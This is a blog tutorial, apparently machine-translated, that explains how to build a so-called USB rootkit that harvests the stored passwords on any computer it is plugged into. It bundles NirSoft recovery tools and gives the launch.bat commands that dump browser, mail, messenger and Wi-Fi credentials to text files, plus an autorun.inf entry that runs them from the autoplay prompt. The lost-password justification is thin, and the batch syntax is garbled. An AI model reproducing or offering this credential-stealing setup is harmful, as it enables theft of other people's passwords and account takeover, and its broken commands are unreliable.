TUTO HACK: Creating a USB rootkit ~ DepoTech

Today we will see how to create a USB key that retrieves a computer passwords. This rootkit runs automatically and recovers most passwords stored on your computer. It really is very useful especially when one has lost passwords.

To create our rootkit must take the following steps:

step 1

We will initially download some software that allows us to decipher the passwords of the most common applications. All these applications have resulted Site Nirsoft (http://www.nirsoft.net/).

MessenPass
Mail PassView
ChromePass
IE PassView
PasswordFox
Protected Storage PassView
Network Password Recovery

WirelessKeyView

Here is the complete Packs http://www.multiupload.nl/W9C4LACNTW

then we will place all the .exe file on our USB stick.

step 2

Then you have created us launch.bat file that will open the password recovery programs and it will store the results in a text file.
To do this: we must create a new text document using Notepad or another and write the code below.

mspass.exe start / sText folder1 / mspass.txt
mailpv.exe start / sText folder / mailpv.txt
pspv.exe start / sText folder1 / pspv.txt
iepv.exe start / sText folder1 / iepv.txt
PasswordFox.exe start / sText folder1 / PasswordFox.txt
ChromePass.exe start / sText folder1 / ChromePass.txt
Attention has to verify that the file names correspond to launch.bat names.

As you could see from the above lines when the software is run, these logs will be sent in a folder named folder1. Therefore we created a new folder.

step 3

Now we need to create the autorun.inf file

When you insert your USB key usually a window appears asking us what we want to do!
In this step we will create a new option in this window, which will allow us (once click) to retrieve the PC passes the words and stored in the folder you created in step 2.

To realize this we open a new text document and then insert this code:

[autorun]

open = launch.bat

ACTION = "The name of the new option"
Then saves it: autorun.inf
Our rootkit is now closer, it only remains to test it. : D

Remember that the best support for this blog is to love and share our articles!

For more news, thank you for subscribe to the blog newsletter to its RSS feed. Please also have a look at Twitter, Google+ or Facebook for other news.